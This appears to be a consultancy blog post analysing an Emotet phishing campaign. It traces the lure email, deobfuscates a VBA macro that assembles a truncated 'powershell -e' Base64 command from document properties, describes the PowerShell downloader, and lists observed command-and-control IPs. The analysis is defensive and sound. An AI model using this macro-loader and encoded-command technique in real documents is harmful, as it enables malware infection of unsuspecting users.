by Lubomir Stroetmann, Senior Consultant
Contents
- Introduction
- Deobfuscating the VBA Macro
- Deobfuscating the PowerShell script
- Running the Emotet Trojan
In order to be infected, four user interactions are required: Open the email, click the link contained within, open the word document that is downloaded and then enable the execution of macros:
The macro then proceeds to execute a PowerShell script which in turn downloads and executes the Emotet trojan.
The phishing mails do not use a fake sender, instead they spoof the display name. The display name is set to a (valid) email address: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>
The email text purports to contain an important invoice, provided as a link. Clicking the link downloads a .doc Microsoft Word file. The linked domains seem to be websites with hacked CMS software. The word document uses a standard phishing trick: It claims it is “protected” and requests the user to activate macros to be able to see the document contents:
2. Deobfuscating the VBA Macro
We extracted the VBA code of the macro using oledump.py:
Of the 152 lines of code, only a few have an actual purpose – the rest is just there for misdirection. Most of the code’s functions actually never get called.
A good start is to look for the autoopen()
function which gets executed when the document is opened:
Sub autoopen() VKbZcLUg End Sub
This points us to the VKbZcLUg()
function. It contains loads of useless code such as
YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
These are pointless comparison operations. A variable x gets set to true or false depending on whether a + b is equal to c or not:
x = a + b = c
All those lines are irrelevant and can be skipped.
Lines with function calls in brackets need a closer look:
ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
The yKvCXNf()
function keeps getting called with different arguments. This function contains more comparison operations as a distraction and one line of actually useful code:
Public Function yKvCXNf(vRKbufsX) [...] KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
This line looks up and returns custom document properties set for the word document, based on the parameter given to it. We take a look at the custom document properties and see they contain string parts for the strings "powershell"
and "wscript.shell"
:
Getting back to the main VKbZcLUg()
function, there are two lines of code doing the actual work. They can be recognized by the strings ActiveDocument.BuiltInDocumentProperties("Comments")
and CreateObject(DEBAKSwY).Run
:
mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
Plenty of string concatenation is taking place, with undefined variables that can all be ignored. The actual string comes from the document’s comments field. Taking a look we find a long Base64-encoded string:
Time to put all our findings together! We have a CreateObject call which creates an object of the type “wscript.shell”. It then runs the shell command "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA="
with the complete Base64-encoded PowerShell script. This uses the handy PowerShell command line option -EncodedCommand
or -e
which accepts Base64-encoded commands.
Here’s the fully deobfuscated macro:
3. Deobfuscating the PowerShell script
Decoding the Base64-string we got from the document’s comment field, we find some slightly obfuscated PowerShell code:
The code does some minor string trickery using PowerShell’s -f
Format operator. It rearranges fragments of a string ('new-ob','t','jec'
) into the order provided by numbered placeholders ({0}{2}{1}
). The rest is just fancy variable naming such as ${W`sCR`IpT}
.
Re-arranging the strings and cleaning up the variable names we get:
As we can see, the code downloads the trojan from five different URLs, saves it in the temp directory using a randomly generated numerical name, and then executes it.
We run the trojan in a custom VM without a network adapter and a fake network provided by Fakenet-NG. Sniffing the network traffic of the trojan we can see periodic HTTP POSTS with encrypted data to a rotating list of C&C servers:
We let the trojan run for a while to get the following full list of servers:
IP | Port | Network | Location |
---|---|---|---|
173.212.227.54 | 443 | AS51167 Contabo GmbH | Germany |
104.236.252.178 | 8080 | AS62567 DigitalOcean, LLC | Clifton, NJ, USA |
162.243.159.58 | 443 | AS14061 DigitalOcean, LLC | San Francisco, CA, USA |
45.33.55.157 | 8080 | AS63949 Linode, LLC | Fremont, CA, USA |
77.244.245.37 | 7080 | AS47692 Nessus GmbH | Vienna, Austria |
192.81.212.79 | 443 | AS62567 DigitalOcean, LLC | North Bergen, NJ, USA |
173.212.192.45 | 443 | AS51167 Contabo GmbH | Germany |
103.16.131.20 | 8080 | AS133159 Mammoth Media Pty Ltd | Australia |
Check out other interesting topics in our blog.